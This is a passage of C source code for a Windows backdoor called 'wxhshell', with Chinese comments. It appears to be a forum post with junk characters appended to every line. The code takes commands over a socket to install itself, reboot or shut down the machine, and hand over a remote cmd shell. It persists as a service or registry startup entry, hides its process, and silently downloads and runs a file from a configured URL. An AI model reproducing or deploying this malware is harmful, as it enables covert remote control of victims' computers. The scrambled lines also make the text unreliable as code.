    switch(cmd[0]) { ^0 /!:*?  
  EHt(! ;?q  
  // 帮助 >P2QL>P  
  case '?': { d^`n/"Ice  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); ;(LC{jY  
    break; "=0JYh)%_  
  } L(BL_  
  // 安装 T7*p! 0  
  case 'i': { 6!RK Zj)  
    if(Install()) QB7^8O!<  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); a<Ps6'  
    else vFK(Dx  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); 9>d~g!u=  
    break; ;*e$k7}F  
    } \X;)Kt"  
  // 卸载 gR k+KGKn<  
  case 'r': { 1VG7[#Zy  
    if(Uninstall()) 6Ou[t6  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); G3t\2E9S  
    else bd`}2vr  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); !(qaudX{>k  
    break; ]ov"&,J  
    } &P>a  
  // 显示 wxhshell 所在路径 200Fd8Ju  
  case 'p': { :UDe\zcd "  
    char svExeFile[MAX_PATH]; 9K#U<Q0b'  
    strcpy(svExeFile,"\n\r"); vrXNa8,L  
      strcat(svExeFile,ExeFile); u]t#Vf-$u  
        send(wsh,svExeFile,strlen(svExeFile),0); AO0aOX8_+D  
    break; ;3N>m| ?D=  
    } ](^BQc  
  // 重启 [\)irCDv  
  case 'b': { vv`,H~M6  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); M"z3F!-j  
    if(Boot(REBOOT)) 3HB(rTw  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); *AI?md  
    else { | PzXN+DW  
    closesocket(wsh); Gu K!<-Oz"  
    ExitThread(0); gz`P~7-w:  
    } %2rUJaOgy$  
    break; 2(NN QU@Uz  
    } `xu/|})KI  
  // 关机 =/qj vY  
  case 'd': { Kv6#WN~  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); ?L6ACi`9  
    if(Boot(SHUTDOWN)) 2]-xmS>|b  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); OEj%cB!  
    else { 9rQw~B<S  
    closesocket(wsh); )Xd2qbi  
    ExitThread(0); l|~SVk|  
    } v/}h y$7  
    break; k[;(@e@c  
    } kG]FB.@bG  
  // 获取shell 9y5nG  
  case 's': { ^[-3qi  
    CmdShell(wsh); |>AHc_:$$  
    closesocket(wsh); )x&OdFX  
    ExitThread(0); xouy|Nn'  
    break; NW@guhK.  
  } Rac4a@hZ  
  // 退出 BJ7m3[lz  
  case 'x': { 'P<T,:z?  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); WG.J-2#3  
    CloseIt(wsh); Zk75GC  
    break; 9mfP9  
    } <bxp/#6D  
  // 离开 s9}VnNr  
  case 'q': { X |X~|&j  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); b0"R |d[i  
    closesocket(wsh); rJ}k!}G  
    WSACleanup(); E7UYJ)6]  
    exit(1); Mny mV;y"  
    break; (.54`[2+L  
        } NKS-G2 Y<P  
  } c<j  +"  
  } \%011I4  
# ~T K C|G  
  // 提示信息 \Z%V)ZRi=  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); q(cSHHv+  
} h$eVhN &Vv  
  } !]z6?kUK  
$mp'/]  
  return; t|y`Bl2  
} l\{{iAC]I  
a)GT\1q  
// shell模块句柄 gXI8$W>  
int CmdShell(SOCKET sock) V57tn6 >b  
{ pJ 7="n  
STARTUPINFO si; .kkrU  
ZeroMemory(&si,sizeof(si)); C [h^bBq  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; SH${\BKup  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; D,J yb0BW  
PROCESS_INFORMATION ProcessInfo; @$(@64r  
char cmdline[]="cmd"; ;+h-o  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); |ydOi&  
  return 0; z4 yV1  
}  zL,B?  
h16i]V  
// 自身启动模式 M8wEy_XB1  
int StartFromService(void) I>L@ P`d  
{ nd/.]"  
typedef struct 2gnmk TyF  
{ @on\@~Ug  
  DWORD ExitStatus; Ei[>%Ah  
  DWORD PebBaseAddress; l /\n7:  
  DWORD AffinityMask; Lu@'Ee!>G  
  DWORD BasePriority; BE]PM nI  
  ULONG UniqueProcessId; [nnX,;  
  ULONG InheritedFromUniqueProcessId; ^7 oXJu=  
}   PROCESS_BASIC_INFORMATION; };=44E'7  
2PSt*(  
PROCNTQSIP NtQueryInformationProcess; XV> )[Nd\H  
D7"RZF\)  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; ?nya;Z-~Hc  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; 56 raZC  
Z-D4~?Tv  
  HANDLE             hProcess; Z7t-{s64  
  PROCESS_BASIC_INFORMATION pbi; yxt `  
f\~OG#AaX  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); ;^K4kK&f  
  if(NULL == hInst ) return 0; *j0kb"#  
tb@&!a$`?  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); u(!@6%?-  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); f(o1J|U{  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); e+t2F |xDh  
U%~L){<V[  
  if (!NtQueryInformationProcess) return 0; X-&U-S;  
0Q1s JDa.  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); i!!1^DMrw  
  if(!hProcess) return 0; $O/@bh1@p  
.Y"H{|]Mnh  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; c9 UJ=  
b:,S  
  CloseHandle(hProcess); Gg3cY{7  
I<'wZJRRa  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); )aOPR|+  
if(hProcess==NULL) return 0; 3',|HA /x  
+s}"&IV%  
HMODULE hMod; WzC_M>_  
char procName[255]; 2^}E!(<  
unsigned long cbNeeded; j5,vSh~q;'  
YmS}*>oz  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); u49v,,WGw  
se)vi;J7K  
  CloseHandle(hProcess); 2\Vzfca  
M mjeFv  
if(strstr(procName,"services")) return 1; // 以服务启动 z4 snH%q  
.."=  
  return 0; // 注册表启动 , 8NY<sFh  
} a| *{BlY  
u'o."J^&'  
// 主模块 oCBZ9PGkK  
int StartWxhshell(LPSTR lpCmdLine) bN6FhKg|  
{ v>2gx1F"?  
  SOCKET wsl; [f'V pId8  
BOOL val=TRUE; A{5^A)$  
  int port=0; poqcoSL"}  
  struct sockaddr_in door; a)+;<GZ~  
/e^q>>z  
  if(wscfg.ws_autoins) Install(); =kp-[7  
R89 ;<,Ie  
port=atoi(lpCmdLine); *Txt`z[|  
!+;'kI2  
if(port<=0) port=wscfg.ws_port; nV|H5i;N7  
+Mb;;hb  
  WSADATA data; Fxu'(xa  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; M(l>^N8W8  
m"{D}(TA  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   73kF=*m  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); n5Ad@Bg  
  door.sin_family = AF_INET; )Q_^f'4  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); 6dG:3n}  
  door.sin_port = htons(port); <+1d'VQ2  
XY[uyR4Z  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { =K6aiP$Ft  
closesocket(wsl); ]UR@V;JG  
return 1; xwZcO  
} |U*wMYC  
CS;bm `8a  
  if(listen(wsl,2) == INVALID_SOCKET) { [ 7W@/qqv  
closesocket(wsl); 5 ",@!1ju  
return 1; @z8,XW }  
} !TJCQ[Aa }  
  Wxhshell(wsl); - J9K  
  WSACleanup(); r Z0+mS'/G  
EkV LSur  
return 0; b~khb!]  
prf  
} ?U~9d"2=  
`K.2&6xc  
// 以NT服务方式启动 uyt]\zVT  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) 1epj/bB&  
{ -^m]Tb<u  
DWORD   status = 0; )z'LXy8  
  DWORD   specificError = 0xfffffff; j'#Y$d1.  
m{(G%n>E&  
  serviceStatus.dwServiceType     = SERVICE_WIN32; -nbo[K  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; {5tb.{  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; I:4m]q b  
  serviceStatus.dwWin32ExitCode     = 0; 5&WYL  
  serviceStatus.dwServiceSpecificExitCode = 0; wb@TYvDt  
  serviceStatus.dwCheckPoint       = 0; VKcO]_W1  
  serviceStatus.dwWaitHint       = 0; &,pL3Qos  
Yx4TUA$c'  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); %F'*0<  
  if (hServiceStatusHandle==0) return; %?gh;? GD  
*.X!AJ;M=O  
status = GetLastError(); x7qVLpcL3z  
  if (status!=NO_ERROR) o1x IGP<  
{ fiuF!<#;6  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; N=e-"8  
    serviceStatus.dwCheckPoint       = 0; K:PPZ|  
    serviceStatus.dwWaitHint       = 0; oxN~(H)/ #  
    serviceStatus.dwWin32ExitCode     = status; `N8?F3>  
    serviceStatus.dwServiceSpecificExitCode = specificError; ,G,'#]  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); gxry?':  
    return; NA5AR*f'  
  } DH(Q md  
L*TPLS[lh  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; @D<q=:k  
  serviceStatus.dwCheckPoint       = 0; Q{hXP*5  
  serviceStatus.dwWaitHint       = 0; Z x9oj  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); AS;EO[Vn  
} 1Ner1EKGp  
da c?b (  
// 处理NT服务事件,比如:启动、停止 ?&Zfb  
VOID WINAPI NTServiceHandler(DWORD fdwControl) RrMC[2=  
{ ~f/nq/8  
switch(fdwControl)  3z^l  
{ ?]i.Zi\[f  
case SERVICE_CONTROL_STOP: ~&>|u5C*@  
  serviceStatus.dwWin32ExitCode = 0; pkd#SY  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; mK!73<p_  
  serviceStatus.dwCheckPoint   = 0; OGgP~hd  
  serviceStatus.dwWaitHint     = 0; ( Z-~Eh  
  { cVrses^yE  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); qA4w*{JN  
  } $vlc@]~d`&  
  return; vWbf5?  
case SERVICE_CONTROL_PAUSE: < I}O_:%  
  serviceStatus.dwCurrentState = SERVICE_PAUSED;  EAVB:gE  
  break;  2=X\G~a  
case SERVICE_CONTROL_CONTINUE: YQU #aOl  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; {1H3VSYq  
  break; /RLeD  
case SERVICE_CONTROL_INTERROGATE: P'^#I[G'  
  break; cN/8 b0C  
}; yqdh LX|Mk  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); Dps0$f c  
} F<'@T,LVc  
[I*BEJ;W'  
// 标准应用程序主函数 l56D?E8  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) N7A/&~g5L  
{ Gy*6I)l  
&yFt@g]  
// 获取操作系统版本 6qsT/  
OsIsNt=GetOsVer(); a?]Ow J  
GetModuleFileName(NULL,ExeFile,MAX_PATH); [C@0&[[  
H-gq0+,yE  
  // 从命令行安装 Z4U8~i  
  if(strpbrk(lpCmdLine,"iI")) Install(); - V Rby  
?:bW@x  
  // 下载执行文件 Y<X,(\iEHP  
if(wscfg.ws_downexe) { vi+k#KE  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) n !ty\E  
  WinExec(wscfg.ws_filenam,SW_HIDE); GT|=Kx$;  
} 6 /T_+K.k  
-\mbrbG9H  
if(!OsIsNt) { Xne{:!btw  
// 如果时win9x,隐藏进程并且设置为注册表启动 _KSYt32N  
HideProc(); L&td4`2y  
StartWxhshell(lpCmdLine); KNtsz[#b  
} p s:|YR  
else ht8%A 1|  
  if(StartFromService()) ]d]tQPEU  
  // 以服务方式启动 86J7%;^Xa  
  StartServiceCtrlDispatcher(DispatchTable); u_.`I8qa  
else !"\UT&  
  // 普通方式启动 ZJz6 {cY  
  StartWxhshell(lpCmdLine); i*`;/x'+  
qV57P6<  
return 0; m7z6c"?lB  
}
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只看该作者 1 发表于: 2006-10-10
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